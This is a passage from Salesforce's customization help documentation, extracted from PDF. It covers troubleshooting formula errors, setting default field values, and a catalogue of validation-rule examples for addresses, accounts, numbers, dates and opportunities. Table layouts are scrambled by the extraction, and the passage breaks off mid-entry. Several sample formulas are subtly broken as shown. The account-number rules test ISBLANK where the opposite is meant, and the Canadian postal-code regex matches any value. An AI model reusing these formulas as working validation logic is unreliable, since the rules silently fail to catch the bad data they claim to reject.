Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to check if the value is a positive number. Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make sure that the number is positive. Is the formula using the VALUE function with text that contains special characters? For examples of special characters, see Operators and Functions on page 1107. Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT( HYPERLINK("http://Salesforce ", "Salesforce ") , 5). Is the formula disabled or referencing a disabled formula field? Salesforce disables formula fields when they are deleted and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For more information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 1012.

1060

Customize

Defining Default Field Values

#Too Big! displays if your formula output is over 18 digits. When this happens, check your formula for calculations that could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a very small number. CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned. For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error even if the value of the field is Partner or Customer because the last statement is illogical. Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example, IF(Field__c =0,0, 25/Field__c).

Defining Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view default field values: To define or change default field values: View Setup and Configuration Customize Application

To define a default field value: 1. Begin by creating a custom field; see Creating Custom Fields on page 981. You can also define a default value for an existing custom field; see Editing Fields on page 992. 2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field Values on page 1062. 3. Enter the attributes for the field. 4. Enter a default value or define a formula to calculate the default value: a. Click Show Formula Editor to view the formula editor. b. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and Functions on page 1107. e. Click Check Syntax to check your formula for errors. Note: You can define a formula for default values only where appropriate. For example, the default value options for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked, or Use first value as default value.

1061

Customize

Defining Default Field Values

5. Click Next. 6. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be visible for specific profiles, and click Next. 7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page. 8. Click Save to finish or Save & New to create more custom fields. Note: You must specify a default value for required campaign member custom fields. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.

See Also:
About Default Field Values Default Field Value Considerations Useful Default Field Value Formulas

About Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use default field values to make your users more productive by reducing the number of fields they need to fill in manually. Default field values automatically insert the value of a custom field when a new record is created. A default value can be based on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. After you have defined default values: 1. 2. 3. 4. 5. The user chooses to create a new record. Default field value is executed. Salesforce displays the edit page with the default field value pre-populated. The user enters the fields for the new record. The user saves the new record.

The user can change the field's value but the initial default field value is only executed once, during record creation. For example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after the creation date. Set up default field values for the following types of custom fields: Checkbox Currency Date Date/Time Email Number Percent

1062

Customize

Defining Default Field Values

Phone Picklist (use the default option when setting up the picklist) Text Text Area URL

For a description of these types, see Custom Field Types on page 984.

See Also:
Defining Default Field Values Default Field Value Considerations Useful Default Field Value Formulas

Useful Default Field Value Formulas


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view default field values: To define or change default field values: View Setup and Configuration Customize Application

Maximum Discount Rate Your organization my apply different discount rates to opportunities based on the department of the person creating the opportunity. Use the following example to set a default value for a custom field called Discount Rate on opportunities.
CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or 15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to either of these departments. This is a custom percent field on opportunities that uses the standard user field Department. For more information on using this function, see CASE on page 1120. Product Language You may want to associate a product with its language so that your users know the type of documentation or adapter to include. Use the following default value formula to automatically set the language of a product based on the country of the user creating the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

For more information on using this function, see CASE on page 1120.

1063

Customize

Defining Default Field Values

Tax Rate Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the following default value:
IF($User.City = "Napa", 0.0750, IF($User.City = "Paso Robles", 0.0725, IF($User.City = "Sutter Creek", 0.0725, IF($User.City = "Los Olivos", 0.0750, IF($User.City = "Livermore", 0.0875, null ) ) ) ) )

In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of the cities listed apply, the Tax Rate field is empty. You can also use the Tax Rate field in formulas to automatically calculate taxable amounts and final sales prices.

See Also:
Defining Default Field Values Default Field Value Considerations About Default Field Values

Default Field Value Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Default field values automatically insert the value of a custom field when a new record is created. A default value can be based on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields. Review the following considerations before incorporating default field values in your organization. If a default value is based on the value of a merge field, Salesforce uses the value of the merge field at the time the default value is executed. If the value of the merge field changes later, the default value is not updated. Users can change or remove the default field value on a record. Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result. If you make an activity custom field universally required, you must also provide a default value. If an activity custom field is unique, you cannot provide a default value. Default field values are different from formula fields in the following ways: they are only executed once, at record creation; they are not read only; and the user can change the value but cannot restore the default field value. Since the default value is inserted before users enter any values in the new record, you cannot use the fields on the current record to create a default field value. For example, you cannot create a default field value on a contact that uses the first initial and last name because those values are not available when you click New to create a contact record. However, you can use the record type because it is selected before the record edit page displays. To apply a different default value for different record types, use the record type as a merge field in a CASE function within the default field value setup.

1064

Customize

Managing Validation Rules

Fields that are not visible to the user due to field-level security are still available in the formula for a default field value. Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook do not display default values. However, Salesforce inserts the default values when a user syncs unless the user entered a value. Default field values are not available in the Self-Service portal. Lead conversion, Web-to-Lead, and Web-to-Case do not execute default field values. Note: You can define a formula for default values only where appropriate. For example, the default value options for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked, Unchecked, or Use first value as default value.

See Also:
Defining Default Field Values About Default Field Values Useful Default Field Value Formulas

Managing Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. To begin using validation rules, click Your Name > Setup > Customize, select the appropriate activity, standard object, or users link from the menu, and click Validation Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. Validation rules are listed in the Validation Rules related list. To create a validation rule for the Comment field in Salesforce CRM Ideas, click Your Name > Setup > Customize > Ideas > Comment Validation Rules. To define a validation rule, click New. See Defining Validation Rules on page 1066. To make changes to a validation rule, click Edit. To delete a validation rule, click Del. To view details about a validation rule, click field validation name. To clone a validation rule, select the rule you want to clone and click Clone.

1065

Customize

Managing Validation Rules

To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect Active to deactivate the rule.

See Also:
About Validation Rules Examples of Validation Rules

About Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. After you have defined validation rules: 1. The user chooses to create a new record or edit an existing record. 2. The user clicks Save. 3. Salesforce executes all validation rules. If all data is valid, Salesforce saves the record. If any data is invalid, Salesforce displays the associated error message without saving the record.

4. The user makes the necessary changes and clicks Save again. You can specify the error message to display when a record fails validation and where to display it. For example, your error message can be The close date must occur after today's date. You can choose to display it near a field or at the top of the page. Like all other Salesforce error messages, validation rule errors display in red text and are preceded by the word Error. Important: Validation rules apply to all new and updated records for an object, even if the fields referenced in the validation rule are not included in a page layout or an API call. If your organization has multiple page layouts for the object on which you create a validation rule, verify that the validation rule functions as intended on each layout. If your organization has any integrations that use this object, verify that the validation rule functions as intended for each integration.

See Also:
Defining Validation Rules Examples of Validation Rules

Defining Validation Rules

1066

Customize

Managing Validation Rules

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to an invalid value. Before creating validation rules, review the Validation Rule Considerations on page 1097. To create validation rules: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate activity, tab, or users link, and click Validation Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. To create a validation rule for the Comment field in Salesforce CRM Ideas, click Your Name > Setup > Customize > Ideas > Comment Validation Rules. To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Validation Rules. To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup > Customize > Cases > Case Milestones > Validation Rules. 2. Click New in the Validation Rules related list. 3. Enter the properties of your validation rule: Field
Rule Name

Description Unique identifier of up to 80 characters with no spaces or special characters such as extended characters. Checkbox that indicates if the rule is enabled. A 255 character or less description that distinguishes the validation rule from others. For internal purposes only. The expression used to validate the field. See Building Formulas on page 1054 and Operators and Functions on page 1107. The message that displays to the user when a field fails the validation rule. If your organization uses the Translation Workbench, you can translate the error message into the languages Salesforce supports. See Setting Up the Translation Workbench on page 451.

Active Description

Error Condition Formula

Error Message

1067

Customize

Managing Validation Rules

Field
Error Location

Description Determines where on the page to display the error. To display the error next to a field, choose Field and select the field. If the error location is a field, the validation rule is also listed on the detail page of that field. If the error location is set to a field that is later deleted or a field that is read only or not visible on the page layout, Salesforce automatically changes the error location to Top of Page. Note: Error messages can only be displayed at the top of the page in validation rules for case milestones and Salesforce CRM Ideas.

4. Click Check Syntax to check your formula for errors. 5. Click Save to finish or Save & New to create additional validation rules. Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule for a custom activity field, select the validation rule by clicking Your Name > Setup > Customize > Activities and choose Task Validation Rules or Event Validation Rules.

See Also:
About Validation Rules Examples of Validation Rules

Examples of Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field validation rules: To define or change field validation rules: View Setup and Configuration Customize Application

Use the following samples for validation rules in Salesforce and Force.com AppExchange apps, including: Account Validation Rules Contact Validation Rules Opportunity Management Validation Rules Quote Validation Rules Call Center Validation Rules User, Role, and Profile Validation Rules Account Address Validation Rules Date Validation Rules

1068

Customize

Managing Validation Rules

Number Validation Rules Cross Object Validation Rules Community Validation Rules (Answers and Ideas) Other Validation Rules

See Also:
About Validation Rules Defining Validation Rules

Account Address Validation Rules


Canadian Billing Postal Code Field Description: Formula: Value Validates that the account Billing Zip/Postal Code is in the correct format if Billing Country is Canada.
AND( OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry = "Canada"), NOT(REGEX(BillingPostalCode, "((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?")) )

Error Message: Error Location:

Canadian postal code must be in A9A 9A9 format. Billing Zip/Postal Code

Billing Zip Code Is in Billing State Field Description: Value Validates that the account Billing Zip/Postal Code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c object, or the Billing State does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
VLOOKUP( $ObjectType.Zip_Code__c.Fields.City__c , $ObjectType.Zip_Code__c.Fields.Name , LEFT(BillingPostalCode,5)) <> BillingCity

Formula:

Error Message: Error Location:

Billing Zip Code does not exist in specified Billing State. Billing Zip/Postal Code

1069

Customize

Managing Validation Rules

US Billing Zip Code Field Description: Formula: Value Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999 format if Billing Country is USA or US.
AND( OR(BillingCountry = "USA", BillingCountry = "US"), NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?")) )

Note: This example uses the REGEX function; see Shipping Zip Code on page 1070 if you are not familiar with regular expressions.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format. Billing Zip/Postal Code

Shipping Zip Code Field Description: Value Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format if Shipping Country is USA or blank.

1070

Customize

Managing Validation Rules

Field Formula:

Value
AND( OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)), OR( AND(LEN(ShippingPostalCode) <>5, LEN(ShippingPostalCode) <> 10), NOT(CONTAINS("0123456789", LEFT( ShippingPostalCode, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 2, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 3, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 4, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 5, 1))), AND( LEN(ShippingPostalCode) = 10, OR( MID( ShippingPostalCode , 6, 1) <> "-", NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 7, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 8, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 9, 1))), NOT(CONTAINS("0123456789", MID( ShippingPostalCode , 10, 1))) ) ) ) )

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Tip: You can also validate zip codes using a regular expression; for an example of a formula using a regular expression, see REGEX on page 1152.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format. Shipping Zip/Postal Code

Valid Billing State (US) Field Description: Value Validates that the account Billing State/Province is a valid two-character abbreviation if Billing Country is US, USA, or blank.

1071

Customize

Managing Validation Rules

Field Formula:

Value
AND ( OR(BillingCountry = "US", BillingCountry="USA", ISBLANK(BillingCountry)), OR( LEN(BillingState) < 2, NOT( CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" & "IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" & "NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" & "WA:WV:WI:WY", BillingState) )))

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Error Message: Error Location: A valid two-letter state code is required.
Billing State/Province

Valid Billing Province (Canada) Field Description: Formula: Value Validates that the account Billing State/Province is a valid two-character abbreviation if Billing Country is CA or CAN.
AND ( OR(BillingCountry = "CA", BillingCountry="CAN"), OR( LEN(BillingState) < 2, NOT( CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState) )))

Error Message: Error Location:

A valid two-letter province code is required.


Billing State/Province

Valid Shipping State Field Description: Value Validates that the account Shipping State/Province is a valid two-character abbreviation if Shipping Country is US, USA, or blank.

1072

Customize

Managing Validation Rules

Field Formula:

Value
AND ( OR(ShippingCountry = "US", ShippingCountry="USA", ISBLANK(ShippingCountry)), OR( LEN(ShippingState) < 2, NOT( CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" & "IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" & "NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" & "WA:WV:WI:WY", ShippingState) )))

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Error Message: Error Location: A valid two-letter state abbreviation is required.
Shipping State/Province

Valid Shipping Province (Canada) Field Description: Formula: Value Validates that the account Shipping State/Province is a valid two-character abbreviation, if Billing Country is CA or CAN.
AND ( OR(ShippingCountry = "CA", ShippingCountry="CAN"), OR( LEN(ShippingState) < 2, NOT( CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState) )))

Error Message: Error Location:

A valid two-letter province abbreviation is required.


Shipping State/Province

Valid Billing Country Field Description: Value Validates that the account Billing Country is a valid ISO 3166 two-letter code.

1073

Customize

Managing Validation Rules

Field Formula:

Value
OR( LEN(BillingCountry) = 1, NOT( CONTAINS( "AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" & "AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" & "BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" & "CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" & "CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" & "FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" & "GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" & "IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" & "KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" & "MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" & "MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" & "NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" & "PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" & "SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" & "LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" & "TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" & "VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW", BillingCountry)))

Error Message: Error Location:

A valid two-letter country code is required.


Billing Country

Account Validation Rules


Account Number Is Numeric Field Description: Formula: Value Validates that the Account Number is numeric if not blank.
AND( ISBLANK(AccountNumber), NOT(ISNUMBER(AccountNumber)) )

Error Message: Error Location:

Account Number is not numeric.


Account Number

Account Number Length Field Description: Value Validates that the Account Number is exactly seven digits (if it is not blank). The number seven is simply illustrative. You can change this to any number you like.

1074

Customize

Managing Validation Rules

Field Formula:

Value
AND( ISBLANK(AccountNumber), LEN(AccountNumber) <> 7 )

Error Message: Error Location:

Account Number must be seven digits.


Account Number

Annual Revenue Range Field Description: Formula: Value Validates that the account Annual Revenue is not negative and does not exceed $100 billion. This limit is designed to catch typos.
OR( AnnualRevenue < 0, AnnualRevenue > 100000000000 )

Error Message: Error Location:

Annual Revenue cannot exceed 100 billion.


Annual Revenue

Number Validation Rules


Time Cards Must Total 40 Hours Field Description: Value Ensures that users cannot save a time card record with more than 40 hours in a work week. This example requires five custom fields on your custom object, one for each day of work.
Monday_Hours__c + Tuesday_Hours__c + Wednesday_Hours__c + Thursday_Hours__c + Friday_Hours__c > 40

Formula:

Error Message: Error Location:

Your total hours cannot exceed 40.


Top of Page

1075

Customize

Managing Validation Rules

Number Cannot Be Negative Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called Hours Worked is not a negative number.
Hours_Worked__c < 0

Hours Worked cannot be less than zero.


Hours Worked

Number Must Be Even Field Description: Formula: Value Validates that a custom field called Ark Passengers is a non-negative even number.
OR( Ark_Passengers__c < 0, MOD( Ark_Passengers__c, 2) <> 0 )

Error Message: Error Location:

Ark Passengers must be a positive even number.


Ark Passengers

Number Must Be Odd Field Description: Formula: Value Validates that a custom field called Socks Found is a non-negative odd number.
OR( Socks_Found__c < 0, MOD( Socks_Found__c, 2) = 0 )

Error Message: Error Location:

Socks Found must be an odd number.


Socks Found

Number Must Be a Multiple of Five Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called Multiple of 5 is a multiple of five.
MOD( Multiple_of_5__c, 5) <> 0

Number must be a multiple of five.


Multiple of 5

1076

Customize

Managing Validation Rules

Number Must Be an Integer Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called My Integer is an integer.
FLOOR( My_Integer__c) <> My_Integer__c

This field must be an integer.


My Integer

Number Must Be Between -50 and 50 Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called Volume is between -50 and 50.
ABS( Volume__c) > 50

Volume must be between -50 and 50.


Volume

Number Range Validation Field Description: Formula: Error Message: Error Location: Value Validates that the range between two custom fields, Salary Min and Salary Max, is no greater than $20,000.
(Salary_Max__c - Salary_Min__c) > 20000

Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.
Salary Max

Percentage Must Be Between Zero and 100 Field Description: Value Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed as 0.5).
OR( Mix_Pct__c > 1.0, Mix_Pct__c < 0.0 )

Formula:

Error Message: Error Location:

Mix Pct must be between 0 and 100%.


Mix Pct

1077

Customize

Managing Validation Rules

Contact Validation Rules


Mailing Address Fields Are Required Field Description: Formula: Value Validates that the contact Mailing Street, Mailing City, and Mailing Country are provided.
OR( ISBLANK( MailingStreet ), ISBLANK( MailingCity ), ISBLANK( MailingCountry ) )

Error Message: Error Location:

Mailing Street, City, and Country are required.


Top of Page

Mailing Street Is Required Field Description: Formula: Error Message: Error Location: Value Validates that the contact Mailing Street is provided.
ISBLANK( MailingStreet )

Mailing Street is required.


Mailing Street

Mailing Zip Code Field Description: Value Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if Mailing Country is USA or blank.

1078

Customize

Managing Validation Rules

Field Formula:

Value
AND( OR(MailingCountry = "USA", ISBLANK(MailingCountry)), OR( AND(LEN(MailingPostalCode) <>5, LEN(MailingPostalCode) <> 10), NOT(CONTAINS("0123456789", LEFT( MailingPostalCode, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 2, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 3, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 4, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 5, 1))), AND( LEN(MailingPostalCode) = 10, OR( MID( MailingPostalCode , 6, 1) <> "-", NOT(CONTAINS("0123456789", MID( MailingPostalCode , 7, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 8, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 9, 1))), NOT(CONTAINS("0123456789", MID( MailingPostalCode , 10, 1))) ) ) ) )

Note: This example interprets a blank country as US. To use this example with other countries, remove the clause that checks the length of the country field. Also, validation rule criteria are case sensitive, so this rule is only enforced when the country is blank or USA in all capital letters. The rule is not enforced when the country is usa. Tip: You can also validate zip codes using a regular expression; for an example of a formula using a regular expression, see REGEX on page 1152.

Error Message: Error Location:

Zip code must be in 99999 or 99999-9999 format.


Mailing Zip/Postal Code

Phone Number Has International Format Field Description: Formula: Error Message: Error Location: Value Validates that the Phone number begins with a plus sign (+) for country code. Note that this validation rule conflicts with the ten-digit rule.
LEFT(Phone, 1) <> "+"

Phone number must begin with + (country code).


Phone

1079

Customize

Managing Validation Rules

US Phone Number Has Ten Digits Field Description: Formula: Error Message: Error Location: Value Validates that the Phone number is in (999) 999-9999 format. This works by using the REGEX function to check that the number has ten digits in the (999) 999-9999 format.
NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

US phone numbers should be in this format: (999) 999-9999.


Phone

Date Validation Rules


Date Must Be a Weekday Field Description: Formula: Value Validates that the value of a custom date field is a weekday (not Saturday or Sunday).
CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1) = 0

Error Message: Error Location:

Date must be a weekday.


My Date

Date Must Be a Weekend Day Field Description: Formula: Value Validates that the value of a custom date field is a Saturday or Sunday.
CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7), 0, 1, 6, 1, 0) = 0

Error Message: Error Location:

Date must be a weekend day.


My Date

Date Must Be in the Current Month Field Description: Value Validates that a custom date field contains a date within the current month and year.

1080

Customize

Managing Validation Rules

Field Formula:

Value
OR ( YEAR( My_Date__c ) <> YEAR ( TODAY() ), MONTH( My_Date__c ) <> MONTH ( TODAY() ) )

Error Message: Error Location:

Date must be in the current month.


My Date

Date Must Be in the Current Year Field Description: Formula: Error Message: Error Location: Value Validates that a custom date field contains a date within the current year.
YEAR( My_Date__c ) <> YEAR ( TODAY() )

Date must be in the current year.


My Date

Date Must Be the Last Day of the Month Field Description: Value Validates whether a custom field called My Date is the last day of the month. To do this, it determines the date of the first day of the next month and then subtracts 1 day. It includes special case logic for December.
DAY(My_Date__c) <> IF(Month(My_Date__c)=12, 31, DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Formula:

Error Message: Error Location:

Date must be the last day of the month.


My Date

Date Must Be Within One Year of Today Field Description: Formula: Error Message: Error Location: Value Validates whether a custom field called Follow-Up Date is within one year of todays date. This example assumes a 365 day year. (It does not handle leap years.)
Followup_Date__c - TODAY() > 365

Follow-Up Date must be within one year of today.


Follow-Up Date

1081

Customize

Managing Validation Rules

Day of Month Cannot Be Greater Than 15 Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called Begin Date contains a date in the first 15 days of the specified month.
DAY( Begin_Date__c ) > 15

Begin Date cannot be after the 15th day of month.


Begin Date

End Date Cannot Be Before Begin Date Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called End Date does not come before another custom field called Begin Date.
Begin_Date__c > End_Date__c

End Date cannot be before Begin Date.


Begin Date

Expiration Date Cannot Be Before Close Date Field Description: Formula: Error Message: Error Location: Value Validates that a custom field called Expiration Date does not come before Close Date.
Expiration_Date__c < CloseDate

Expiration Date cannot be before Close Date.


Expiration Date

Opportunity Management Validation Rules


Conditionally-Required Field Based on Opportunity Stage Field Description: Value Validates that a custom field called Delivery Date is provided if an opportunity has advanced to the Closed Won or Negotiation/Review stage.

1082

Customize

Managing Validation Rules

Field Formula:

Value
AND ( OR ( ISPICKVAL(StageName, "Closed Won"), ISPICKVAL(StageName, "Negotiation/Review")), ISBLANK(Delivery_Date__c) )

Error Message: Error Location:

Delivery Date is required for this stage.


Delivery Date

Close Date Cannot Be Prior to Current Month Field Description: Value Validates that the Close Date of an opportunity is not within a month prior to the current month. Note the use of ISNEW and ISCHANGED in this formula to ensure the condition is only checked when the opportunity is being created or the Close Date field is modified subsequently.
AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Formula:

Error Message: Error Location:

Close Date cannot be prior to current month.


Close Date

Close Date Must Be a Future Date Field Description: Formula: Error Message: Error Location: Value Ensures that users do not change the Close Date of an opportunity to a day in the past.
CloseDate < TODAY()

Close Date cannot be a day in the past.


Close Date

Discounts on Opportunities Field Description: Formula: Error Message: Value Validates that a custom discount percent field is between 0 and 40%.
OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

The Discount Rate must not exceed 40%.

1083

Customize

Managing Validation Rules

Field Error Location:

Value
Discount Rate

High-Value Opportunity Must Be Approved Before Closed Field Description: Value Opportunities with amounts greater than $50,000 require that a custom checkbox field called Approved is checked in order to change the stage to Closed Won or Closed Lost. To automate this, set field-level security on the Approved checkbox so that it can only be checked via a custom approval process (Enterprise Edition or Unlimited Edition).
AND( OR( ISPICKVAL(StageName,"Closed Won"), ISPICKVAL(StageName,"Closed Lost")), (Amount > 50000), NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Formula:

Error Message: Error Location:

All high-value opportunities must be approved for closure. Click the Request Close button.
Top of Page

Opportunity Amount Cannot Exceed $10 Million Field Description: Formula: Value Validates that opportunity Amount is positive and no more than $10 million. This limit is designed to catch typos.
OR( Amount < 0, Amount > 10000000 )

Error Message: Error Location:

Amount cannot exceed $10 million.


Amount

Opportunity Check for Products Field Description: Formula: Error Message: Error Location: Value Validates that an opportunity has at least one opportunity product before users can save a change to an opportunity.
NOT(OR(ISNEW(),HasOpportunityLineItem))

You must add products to this opportunity before saving.


Top of Page

1084

Customize

Managing Validation Rules

Opportunity Must Have Products if Beyond Needs Analysis Stage Field Description: Formula: Value Validates that an opportunity has opportunity products before the Stage can move beyond Needs Analysis.
AND ( CASE( StageName, "Value Proposition", 1, "Id. Decision Makers", 1, "Perception Analysis", 1, "Proposal/Price Quote", 1, "Negotiation/Review", 1, "Closed Won", 1, 0) = 1, NOT(HasOpportunityLineItem) )

Error Message: Error Location:

Opportunity products are required to advance beyond the Needs Analysis stage.
Top of Page

Opportunity Name Format Field Description: Formula: Error Message: Error Location: Value Validates that an opportunity contains a hyphen as a way of enforcing an [Account] [Amount] opportunity naming convention.
